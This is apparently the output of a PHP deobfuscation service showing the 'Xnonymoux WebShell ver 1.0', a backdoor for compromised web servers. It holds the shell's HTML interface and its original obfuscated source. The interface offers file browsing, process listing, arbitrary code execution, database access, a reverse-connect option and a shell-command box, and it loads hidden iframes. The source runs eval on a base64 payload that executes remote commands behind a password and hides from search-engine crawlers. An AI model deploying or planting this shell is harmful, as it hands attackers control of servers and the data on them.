.ver{-webkit-transform:rotate(0.0deg);-moz-transform:rotate(0.0deg);-ms-transform:rotate(0.0deg);-o-transform:rotate(0.0deg);transform:rotate(0.0deg);letter-spacing:2px;}
.menumi{background:#292929;color:#1BE628;text-decoration:none;letter-spacing:2px;font-size:12px;-webkit-transform:rotate(0.0deg);-moz-transform:rotate(0.0deg);-ms-transform:rotate(0.0deg);-o-transform:rotate(0.0deg);transform:rotate(0.0deg);-moz-border-radius:4px;border-radius:4px;margin:0;padding:4px 8px;}
.menumi:hover{background:#363636;-webkit-transform:rotate(0.0deg);-moz-transform:rotate(0.0deg);-ms-transform:rotate(0.0deg);-o-transform:rotate(0.0deg);transform:rotate(0.0deg);}
.inputz,.prompt,.txtarea{background:#111111;border:0;border-bottom:1px solid #363636;font-size:12px;color:#FFFFFF;padding:2px;}
.prompt{font-weight:700;}
.txtarea{width:100%;height:370px;}
.inputzbut{font-size:12px;background:#191919;color:#1BE628;border:1px solid #222222;margin:0 4px;}
.but{float:left;background:#1BE628;color:#000000;margin:0 4px 0 0;font-size:20px;width:16px;height:16px;border-radius:50%;text-align:center;padding:0;line-height:12px;cursor:default}
.explore{width:100%;padding:4px 0;}
.explore a{text-decoration:none;}
.explore td{border-bottom:1px solid #222222;line-height:24px;padding:0 8px;vertical-align:top;}
.explore th{font-weight:700;background:#222222;padding:6px 8px;}
.explore tr:hover{background:#191919;}
.sembunyi{display:none;margin:0;padding:0;}
.info table{width:100%;border-radius:6px;border:1px solid #1BE628;margin:4px 0;padding:8px;}
.info th,th{background:#191919;font-weight:700;}
.info td{border-bottom:1px solid #222222;}
.info h2{text-align:center;font-size:15px;background:#191919;letter-spacing:6px;border-radius:6px;border-bottom:1px solid #1BE628;margin:4px 0 8px;padding:10px;}
.info a{color:#CCCCCC;}
.viewfile{width:100%;border-bottom:1px solid #222222;margin:0 0 4px;}
.viewfile td{border-bottom:1px solid #222222;background:#191919;height:24px;padding:2px 4px;}
.viewfilecontent{padding:11px 8px;}
.mybox{-moz-border-radius:10px;border-radius:10px;border:1px solid #1BE628;margin:4px 0 8px;padding:14px 8px;}
.mybox h2{border-bottom:1px solid #444444;color:#1BE628;margin:0;padding:0 0 8px;}
.notif{background:#1BE628;color:#000000;border-radius:6px;font-weight:700;margin:3px 0;padding:4px 8px 2px;}
.notif a{color:#000000;}
.footer{text-align:right;font-size:10px;letter-spacing:2px;color:#222222;padding:0 16px;}
.headtbl,.myboxtbl{width:100%;}
input[type=checkbox].css-checkbox + label.css-label{padding-left:20px;height:15px;display:inline-block;line-height:15px;background-repeat:no-repeat;background-position:0 0;vertical-align:middle;cursor:pointer;}
input[type=checkbox].css-checkbox:checked + label.css-label{background-position:0 -15px;}
.info,.info h1,.info hr,input[type=checkbox].css-checkbox{display:none;}
.css-label{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII=);}
.icon{margin:2px 0;border:0;}
.drive-letter{color:#FFFFFF;}
.desc{color:#999999;}
.cbox_selected{background-color:#202020;}
.cbox_all{text-align:center;text-indent:4px;}
.schemabox{background-color:#1BE628;border-radius:2px;}
.bb{border-bottom:1px solid #363636;}
.bt{border-top:1px solid #363636;}
.ce{text-align:center;}
.le{text-align:left;}
.ls2{letter-spacing:2px;}
.mp{margin:0;padding:0;}
.w60{width:60px;}
.w594{width:594px;}
.w578{width:578px;}
#navigation{position:fixed;left:-16px;top:46%;}
#totop,#tobottom{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAACXBIWXMAAAsSAAALEgHS3X78AAAEYElEQVRYw8VXS0xcVRj+z7kv5tF5MPfOo1AgkFBKoQPuFAyxstKkcWHjGhOjcacxujMxaqtx48b4iDExxiZuXBVdtEURN00qDBMgTUOmnTEMc+/ce4d5c+k957gZEKYCd5DSb3tOzv+d//0hcACO47hgsL07HA5fDIfDkz6ffxQAogDgblypMcZypVIpYRj6DVVVZ0zTSBNCyGFvo4MOMca8LMsjvb19r8uy8iLGOAIA+JA3KaVU1XV9OpVa/VrX9QSl1G6ZgM/ni5w7N/iuooSnMMZBOAIopQVN0767e3fls1KppDoigBCCrq6ukf7+gS9cLtfTh3nJAVi9Xr+dTCbf1LTcAmNsb3ibjXd394wPDQ1fE0UxfgzGAQCQIAid0Whs8uHDrflisZjZl8Dp052jw8PxazzP9cExA2PcHgopE7Va7Y9yuZR7hIDP54uMjj71gySJF+AxAWPcHgwGh3U9f92yrOoOAYwxF4+PvB8IBF9u0e02AFAHlbEDQRA63W43zWbXf2eMMQwA0NHROaoo4VdbeYgxZmUy6SuZTPojxthmK46QZeU1WQ5d2O4x3MDA4Ader3esFePp9IMrS0tLn2iaNieKIvH7A88ghHhHWYmQWxQltL6e/ZULheTe/v7+qwjhU60YX15e/pQQ22KMEsMwbrdKwuVyxQoF82eup6fvcigUesVJ7Bljm+n0g6vbxnc1HKLrrZFACHksy1rhBgfPv9fW1jbk8OePGP/3fIeE7fcHxhyQQBijOhePj3wIAHIrbt//Xmue4HmB586eHfgYAKSj/vz/eAJjLPAA4DlonhSLpe9VVfsxGAyGd8d8Y6OgUkrJdh8JBIIRjPFOY1NV7adAINgRCATeOKC8vejSpZfs5pa8+0MAUGSM7RmnlmXlZ2d/m7AsKw8AIEmSMjHx3KwkSUpTovEA4D8gwQkPAJXGpf2mZQAh1JzBpOlXGCHUjhCSW+zOFWzbdg6eEGzbXseVSnnxSRGoVMqLWNfNm42BctIghmHcxJqWu0UpOfEwUErVfF6bwYWCmdZ1Y/qkCei6Pm0YRhoTQkgqtfoVpdR0vGMhwKIoKZIkRSRJioiipCDkfJRTSo1UavVLQgjhG2wW83nt20gk+o6TnUAQxNDY2PgMY4w2yhILghByat80jW8Mw0jubESMMVaplJORSHRcEIQzDiYZ4jjOw/O8l+d5L8dxHtTcLPbB5mb9z0Ri4a16vV7ZsxNallWtVqt/xWKxixjj0GNJe0LuLSzMTxmGfv8/t+JarapubW3Ny7Ly7HGTsG373srK8lQ2u3Zn37UcAKBYLP5tWZtzPp9vUBDEM8egDWi1Wp1bXExMZbNrdw4UJrtIqLmcel0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg==);width:32px;height:32px;opacity:0.30;margin:12px 0;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
input.buttonzz {
background: #58810c;
padding: 5px 10px;
border: none;
border-radius: 2px;
-moz-border-radius: 2px;
-webkit-border-radius: 2px;
color: #000000;
font-family: \'Roboto\', arial, sans-serif;
font-size: 14px;
text-shadow: 0px -1px 0px #405e08;
}
input.textbox {
background: #202020;
padding: 5px;
border: 1px solid #303030;
border-radius: 2px;
-moz-border-radius: 2px;
-webkit-border-radius: 2px;
color: #a0a0a0;
font-family: \'Roboto\', arial, sans-serif;
}
input.textbox:focus {
border: 1px solid #70a40e;
outline: none;
color: #fff;
}
input.buttonzz:hover {
background: #436209;
cursor: pointer;
}
input.textbox, textarea, select, input.buttonzz, .pagination a, a.large_button, .post_buttons a, .expcolimage {
-webkit-transition-duration: .15s;
-moz-transition-duration: .15s;
-o-transition-duration: .15s;
-ms-transition-duration: .15s;
transition-duration: .15s;
}
</style>
</head>
<body>
<table id=\'main\'><tr><td>
<?php if($s_auth){?>
<div><span style=\'float:right;\'><?php
if(!isset($_COOKIE[\'Xnonymoux_included\'])){
?><a href=\'?x=pass\'>password</a> |
<?php }
?><a href=\'<?php echo $s_self; ?>x=logout\' title=\'Click me to log out\'>log out</a> </span><table id=\'header\'><tr><td style=\'width:80px;\'><table><tr><td><a href=\'<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER[\'SCRIPT_FILENAME\']))); ?>\'><img src="<?php echo $s_image; ?>" alt=""></a></td></tr><tr><td style=\'text-align:right;\'><div class=\'ver\'><?php echo $s_ver; ?></div></td></tr></table></td> <td><div class=\'headinfo\'><?php echo $s_info; ?></div></td></tr></table></div>
<div style=\'clear:both;\'></div>
<form method=\'post\' name=\'g\'></form>
<div id=\'menu\'>
<table style=\'width:100%;\'><tr>
<td><a href=\'<?php echo $s_self; ?>\' title=\'File Explorer\'><div class=\'menumi\'>Xplorer</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=ps\' title=\'Display process status\'><div class=\'menumi\'>Process</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=eval\' title=\'Execute code\'><div class=\'menumi\'>Exec</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=info\' title=\'Information about server\'><div class=\'menumi\'>Stats</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=db\' title=\'Connect to database\'><div class=\'menumi\'>Database</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=rs\' title=\'Reverse Connect\'><div class=\'menumi\'>BConnect</div></a></td>
<td><a href=\'http://xnonymoux.org/Thread-Symlink-Tool-Mass-Defacer-CMS-Detector--\' title=\'Symlink Tool\'><div class=\'menumi\'>Symlink</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=c0d3rs\' title=\'About Coders\'><div class=\'menumi\'>Coders</div></a></td>
<td style=\'width:100%;padding:0 0 0 6px;\'>
<span class=\'prompt\'><?php echo $s_prompt; ?></span><form action=\'<?php echo $s_self; ?>\' method=\'post\'>
<input id=\'cmd\' onclick="clickcmd();" class=\'inputz\' type=\'text\' name=\'cmd\' style=\'width:70%;\' value=\'<?php
if(isset($_GP[\'cmd\'])) echo "";
else echo "- shell command -";
?>\' />
<noscript><input class=\'inputzbut\' type=\'submit\' value=\'Go !\' name=\'submitcmd\' style=\'width:80px;\' /></noscript>
</form>
</td>
</tr></table>
</div>
<div id=\'content\'>
<div id=\'result\'><?php echo "__RESULT__"; ?></div>
</div>
<div id=\'navigation\'>
<div id=\'totop\' onclick=\'totopd();\' onmouseover=\'totop();\' onmouseout=\'stopscroll();\'></div>
<div id=\'tobottom\' onclick=\'tobottomd();\' onmouseover=\'tobottom();\' onmouseout=\'stopscroll();\'></div>
</div>
<?php } else{ ?>
<br><br><br>
<center><font size="6" face="Segoe Script">Login to Xnonymoux Shell</font></center><br>
<br><br><br><br><div style=\'width:100%;height:300%;text-align:center;\' >
<form action=\'<?php echo $s_self; ?>\' method=\'post\'>
<img src=\'<?php echo $s_image; ?>\' style=\'margin:2px;vertical-align:middle;\' /><br><br>
<input id=\'logins\' class=\'textbox\' type=\'text\' name=\'logins\' style=\'width:200px; height:50px; text-align:center; font-size: 20px; \' value=\'Xnonymoux\' disabled /><br><br>
<input id=\'login\' class=\'textbox\' type=\'password\' name=\'login\' style=\'width:200px; height:50px; text-align:center; font-size: 20px; \' value=\'\' placeholder="Password" /><br><br>
<input class=\'buttonzz\' type=\'submit\' value=\'Login\' name=\'submitlogin\' style=\'width:90px; height:35px; text-align:center; font-size: 15px;\' />
</form>
</div>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php }?> </td></tr></table>
<p class=\'footer\'><center> <a href=\'http://xnonymoux.org\' color="#fffff" title=\'Xnonymoux Official WebSite\'>Xnonymoux.org</a> ©<?php echo @date("Y",time())." "; ?>Xnonymoux</p></center>
<iframe src="http://xnonymoux.org" style="display:none;" name="xnon" height="0" width="0"></iframe>
<iframe src="http://xnonymouxofficial.blogspot.com" style="display:none;" name="xnonx" height="0" width="0"></iframe>
<script type=\'text/javascript\'>
var d = document;
var scroll = false;
var cwd = \'<?php echo hss(adds($s_cwd)); ?>\';
var hexstatus = false;
var timer = \'\';
var x = \'<?php if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'ps\')) echo "ps"; ?>\';
var sself = \'<?php echo adds($s_self); ?>\';
var hexcounter = 0;
var hextimer = \'\';
var counter = 0;
</script>
<?php echo get_code("js", $s_js); ?>
<script type=\'text/javascript\'>
domready(function(){
<?php if(isset($_GP[\'cmd\'])) echo "if(d.getElementById(\'cmd\')) d.getElementById(\'cmd\').focus();"; ?>
<?php if(isset($_GP[\'evalcode\'])) echo "if(d.getElementById(\'evalcode\')) d.getElementById(\'evalcode\').focus();"; ?>
<?php if(isset($_GP[\'sqlcode\'])) echo "if(d.getElementById(\'sqlcode\')) d.getElementById(\'sqlcode\').focus();"; ?>
<?php if(isset($_GP[\'login\'])) echo "if(d.getElementById(\'login\')) d.getElementById(\'login\').focus();"; ?>
<?php if(isset($_GP[\'hexedit\'])) echo "showhex();"; ?>
if(d.getElementById(\'cmd\')) d.getElementById(\'cmd\').setAttribute(\'autocomplete\', \'off\');
var textareas = d.getElementsByTagName(\'textarea\');
var count = textareas.length;
for(i = 0; i<count; i++){
textareas[i].onkeydown = function(e){
if(e.keyCode==9){
e.preventDefault();
var s = this.selectionStart;
this.value = this.value.substring(0,this.selectionStart) + " " + this.value.substring(this.selectionEnd);
this.selectionEnd = s+1;
}
else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
this.form.submit();
}
}
}
listen();
});
</script>
</body>
</html><?php
$s_html = ob_get_contents();
ob_end_clean();
$whitespace = "/(\s{2,}|
{1,})/";
$s_html = preg_replace($whitespace, " ", $s_html);
$s_html = str_replace("__RESULT__", $s_result, $s_html);
echo $s_html;
die();
?>'
Did this file decode correctly?
Original Code
<?php
//*****************************************************************************************************************************************************************/
#### #### #### #### ###### #### #### ### #### ###### ###### ###### #### #### #### ####
### ### #### ## #### #### #### #### ## #### ## ### #### #### #### #### #### #### ### ### ### ###
## ## #### ## #### #### #### #### ## #### ## ## #### #### #### #### #### #### ### ### ## ##
### #### ## #### #### #### #### ## #### ### #### ### ### #### #### #### ### ### ###
### ### #### ## #### #### #### #### ## #### ## #### ### #### #### #### #### #### ### ###
#### #### #### #### ##### #### #### #### #### #### ##### ############ #### ####
// Xnonymoux WebShell ver 1.0
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmdy+-NMMMMMMMN:/NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmmy+-....-MNssyNMMM/ -+dmmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN/.........-Md//+hMMN. .+mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMs..........-MM//sMMMs .mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:...........dh//sMMN- .mMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM/............yy//sMMh oMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMs.............yy//sMM: oMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN-.............yy//sMm` `MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMs............../y//sM+ MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM:...............y//sM- hMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM:...............o//sd` oMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM:...............///ss oMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMh................////` -MMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMy...............+////` y. NMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN-..............y////y` s- dMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM:.............-M////N- -MMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM/............-hM////Ns oMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMo............sMM////NM: NMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN:..........+MMM////NMN. :MMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMo.........sMMMMo//oNMMN/ .dMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMzMMMMMMMMMMMMMMMMMMMMMMMMM+......:dMMMMMMydMMMMMMo` yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN/....sNMMMMMMMMMMMMMMMMNd/. :MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMhsohMNhosyMMMMMMMMMN/.oNMMMMMMMMMMMMMMMMMMMMMMd/.`yMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMd++mo+hMMMMMMMMMMMNyNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMMo++sNMMNs+oo++NNho+oyMs+oo+oMm++My+sMy++o+oso+yMdy++sddo+ds+hh+shoomMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMMMmo++NMMMh++s++sNo+sy++h++so+sNo+hy+oNm++o+++++odd++h++yo+ys+oNMo+omMMMMMMMMMMMMMMM
// MMMMMMMMMMMMMMMMNhoos+oydho+sh++hs+oho+ho+hs+ohs++s++ydo+oy+odo+sdo+sh+oh++o++ydsoo+hdymMMMMMMMMMMMM
// MMMMMMMMMMMMNmdyo+yNMmdyyhyhMmhyyddyyhNMyhMmhyyddy++oyhddmdhmMdyyddyyymNNhyddhydmNmhyydMMMMMMMMMMMMM
// MMMMMMMMMMMMmssshNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMo+sNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
// Xnonymoux_Xoxor | Innoxent_Hoxor | Attitude_B0y | 3v1l 7p1r1t | Xonerx Xoxor | Xnonymoux.org
//*****************************************************************************************************************************************************************/
$s_pass = "0e0606b01d86d421392edfeced8989d512fa37ba"; //Default Password Is "xnonymoux.org" and you can easily change password from "password" Option After Login :)
eval("?>".base64_decode("PD9waHANCiRzX3ZlciA9ICIxLjAiOw0KJHNfdGl0bGUgPSAiWG5vbnltb3V4IFNoZWxsICIuJHNfdmVyOw0KJHNfbG9naW5fdGltZSA9IDM2MDAgKiAyNCAqIDc7IA0KJHNfZGVidWcgPSBmYWxzZTsNCg0KQG9iX3N0YXJ0KCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAaW5pX3NldCgnaHRtbF9lcnJvcnMnLCcwJyk7DQpAY2xlYXJzdGF0Y2FjaGUoKTsNCmRlZmluZSgnRFMnLCBESVJFQ1RPUllfU0VQQVJBVE9SKTsNCg0KJF9QT1NUID0gY2xlYW4oJF9QT1NUKTsNCiRfR0VUID0gY2xlYW4oJF9HRVQpOw0KJF9DT09LSUUgPSBjbGVhbigkX0NPT0tJRSk7DQokX0dQID0gYXJyYXlfbWVyZ2UoJF9QT1NULCAkX0dFVCk7DQokX0dQID0gYXJyYXlfbWFwKCJydSIsICRfR1ApOw0KDQoNCmlmKCRzX2RlYnVnKXsNCgllcnJvcl9yZXBvcnRpbmcoRV9FUlJPUiB8IEVfV0FSTklORyB8IEVfUEFSU0UgfCBFX05PVElDRSk7DQoJQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywnMScpOw0KCUBpbmlfc2V0KCdsb2dfZXJyb3JzJywnMScpOw0KCWZvcmVhY2goJF9HUCBhcyAkaz0+JHYpew0KCQlpZihpc19hcnJheSgkdikpICR2ID0gcHJpbnRfcigkdiwgdHJ1ZSk7DQoJCWVjaG8gIjxzcGFuPiIuaHNzKCRrLiI9PiIuJHYpLiI8L3NwYW4+PGJyIC8+IjsNCgl9DQp9DQplbHNlew0KCWVycm9yX3JlcG9ydGluZygwKTsNCglAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7DQoJQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCcwJyk7DQp9DQoNCiRzX2F1dGggPSBmYWxzZTsNCmlmKHN0cmxlbih0cmltKCRzX3Bhc3MpKT4wKXsNCglpZihpc3NldCgkX0NPT0tJRVsnWG5vbnltb3V4J10pKXsNCgkJaWYoc3RydG9sb3dlcih0cmltKCRzX3Bhc3MpKSA9PSBzdHJ0b2xvd2VyKHRyaW0oJF9DT09LSUVbJ1hub255bW91eCddKSkpICRzX2F1dGggPSB0cnVlOw0KCX0NCglpZihpc3NldCgkX0dQWydsb2dpbiddKSl7DQoJCSRzX2xvZ2luID0ga3JpcHQoJF9HUFsnbG9naW4nXSk7DQoJCWlmKHN0cnRvbG93ZXIodHJpbSgkc19wYXNzKSkgPT0gJHNfbG9naW4pew0KCQkJc2V0Y29va2llKCJYbm9ueW1vdXgiLCRzX2xvZ2luLHRpbWUoKSArICRzX2xvZ2luX3RpbWUpOw0KCQkJJHNfYXV0aCA9IHRydWU7DQoJCX0NCgl9DQoJaWYoaXNzZXQoJF9HUFsneCddKSAmJiAoJF9HUFsneCddPT0nbG9nb3V0Jykpew0KCQkkcGVyc2lzdCA9IGFycmF5KCJ0aGVtZSIsICJjd2QiKTsNCgkJJHNfcmVsb2FkID0gKGlzc2V0KCRfQ09PS0lFWydYbm9ueW1vdXhfaW5jbHVkZWQnXSkgJiYgaXNzZXQoJF9DT09LSUVbJ3NfaG9tZSddKSk/IHJ0cmltKHVybGRlY29kZSgkX0NPT0tJRVsnc19zZWxmJ10pLCImIik6IiI7DQoJCWZvcmVhY2goJF9DT09LSUUgYXMgJHNfaz0+JHNfdil7DQoJCQlpZighaW5fYXJyYXkoJHNfaywgJHBlcnNpc3QpKSBpZighaXNfYXJyYXkoJHNfaykpIHNldGNvb2tpZSgkc19rLCIiLHRpbWUoKSAtICRzX2xvZ2luX3RpbWUpOw0KCQl9DQoJCSRzX2F1dGggPSBmYWxzZTsNCgkJaWYoIWVtcHR5KCRzX3JlbG9hZCkpIGhlYWRlcigiTG9jYXRpb246ICIuJHNfcmVsb2FkKTsNCgl9DQp9DQplbHNlICRzX2F1dGggPSB0cnVlOw0KDQoNCmlmKCFlbXB0eSgkX0dQWydzX3Bhc3MnXSkpew0KCWlmKHN0cnRvbG93ZXIodHJpbSgkc19wYXNzKSkgPT0gc3RydG9sb3dlcih0cmltKCRfR1BbJ3NfcGFzcyddKSkpew0KCQlpZihpc3NldCgkX0dQWydjbWQnXSkpIGVjaG8gZXhlKGJhc2U2NF9kZWNvZGUoJF9HUFsnY21kJ10pKTsNCgkJZWxzZWlmKGlzc2V0KCRfR1BbJ2V2YWwnXSkpew0KCQkJJHNfY29kZSA9IGJhc2U2NF9kZWNvZGUoJF9HUFsnZXZhbCddKTsNCgkJCW9iX3N0YXJ0KCk7DQoJCQlldmFsKCRzX2NvZGUpOw0KCQkJJHNfcmVzID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCQlvYl9lbmRfY2xlYW4oKTsNCgkJCWVjaG8gJHNfcmVzOw0KCQl9DQoJCWVsc2UgZWNobyAkc190aXRsZTsNCgl9DQoJZGllKCk7DQp9DQoNCi8vIGJsb2NrIHNlYXJjaCBlbmdpbmUgYm90DQppZihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pICYmIChwcmVnX21hdGNoKCcvYm90fHNwaWRlcnxjcmF3bGVyfHNsdXJwfHRlb21hfGFyY2hpdmV8dHJhY2t8c25vb3B5fGphdmF8bHdwfHdnZXR8Y3VybHxjbGllbnR8cHl0aG9ufGxpYnd3dy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkpew0KCWhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOw0KCWhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7DQoJZGllKCk7DQp9DQplbHNlaWYoIWlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpew0KCWhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOw0KCWhlYWRlcigiU3RhdHVzOiA0MDQgTm90IEZvdW5kIik7DQoJZGllKCk7DQp9DQokc19qcyA9ICI3VnZubDl0R2t2ODhmcy8vQTZ5N1haSUxhZ0F3VXlQS3h3RG1uRW10VmcraEVVZ2tJaEFBZC9XL1h6Y0FnbUU0a3UzenZyc1BKMHN6UkhkMVZYWDFyMUtEL3ZpcklSay8veVFCaGdkbThsMWQxMnlnMmUvbnZnRStZRGJ3YkdMSEhCbUxNMlhEZnBkNitma240bStZWk52R0I0SndYZmQ1Yi9xNkNEVFplOVpOa2VCMEhoQ3NxYnNXTUFsTE4yMmJZUlZBWU8reEdYeVlvd2NzeWFXd21lMHdwbzMxR1UwMFpWNEUyTitJbjMvNlQrc3JXb0tJdnU0c3JJSzlPeTRsbXkxYk9mcVlBNTB4VVNQWGl5RzkzU29qbkNxUGhtTnVNeHlzMlhhYkw0cE5OdHZPdTlsT1QyYWFhcmZmMzgrMDFXbFVXdU5FYTlzdGxNampxZ2hhbVVscmhKL200NGJrblVhN1VUNmZWVlJYTGpTenZwOXZsY2UrNWJkN0N1aldPcmJSM3VGemZkbXo4ak1sNCtYYWg4eDZvS3lhL2F3OG00MjA5cHdrSEVLdXNhQXQ4T1plM0ovS3VEWnoyT3k0M1Q3S05WNmR5QVE1blJYeWU3VTBsMW5Lc2IzRDJPajNHcDZ3M25XOWZEbFBIN2RGOXJBY3p2T2FXQ0tjK1ZxY3I0MjJjUUtOVnJGVXpnRFQ2SnZIdWRCMEIwZHVTelI1aVJ3V3ZQb3hJdzgwbFNqcW90WVV1bjFYNTdwTndXMnd0Q3RsdVZwTDdOUnRsNjZXK3phbHNyekl5eXU2MzZlSzFuWm8xT21HWGgvMW12bGV1M0drNStwaWU2aHVIYnE2WmpaNjYrRFZpaVY4WGFEMkxUTVBQRnJUdVIweGJ1dW13ZEdiVXRIaWpjNTZTUFVCdisxTDlGQnl0dDVhbHN0S3JjNll4b0F1TG1taTZvbTYzU01KeTJ0TWN3dVc1ckw4WXJaeUtFcWIrWk5wb1Q3dktaYk1EYTNSWVNpS21qVmUrb1k0OFl3QmFBL3lqYlZlM2tpN2xTMkNrMDY2N0h3d29qTFV4bWZYbkYwK3VLM3VkREpnNVpLczVnNDFubExWL2JpYjU0MlRQMkk4YnovazFOeTgycHVQK3BuVGNETlNENjFzdlc2eis5MHhvK2RXMHJ3M20ya0NPMmdxYW51cTI0ZFJkU2o0OVluUk9waTJjOWlPTXVOZXM3MHFuaHhuZGpDVXBaQ1psUTFKSmZkSzVzUjFGLzVwNGEvNUhpQ0liWGxIZUFXdmJiZmxMTWdXMWUyUjgwLzRjRExRWjh4T3JXVWJyTHhzTzFSRzR6dlo5b0JkNUVoRExaRzU1aWk3Y25GdWJTZ0wrWFRJQ0twbnJvOVoxdVRxbEhrWVNCdlNjWHZHY1ZDc3IrcTljWE9FSzB6cnROb1gzQlplMHBtZGw1M0lVMzdaQjMyNVVDTXBwVlhyUzhaaDJKS2Q5YWFWcVpuNnppLzB2YUhXekc3V3ZkeXNielZzWHFGNU5rUG9jbTZaNmJkRVJ5blZCODZLYTJmTm8ra1JndFIzaXFYT3hwdVhXa1Y1TXlGY3ZTMHNtamw5T2M5bjFkbXVOTXBNQ3FLNnJwYm8wN0czWGUwUHBYeUpJSVJlYmNTVFpLL0prSGlSSS9ySE1rNXM5SUozclBHMVUxT1dCb2Y5dmtzZERiYTh6d3ZsVTZPMjF2Q1M0STA5djdIbFNDQ2UxTVVpVjZ5WkRjOXRqTGZjS21lTjJxVSt1OG54b2pkd0piWTV6N2RIcXRMTEZ4cmRLWDVhRFB0MG4rRkxJdFBKclFZTlkx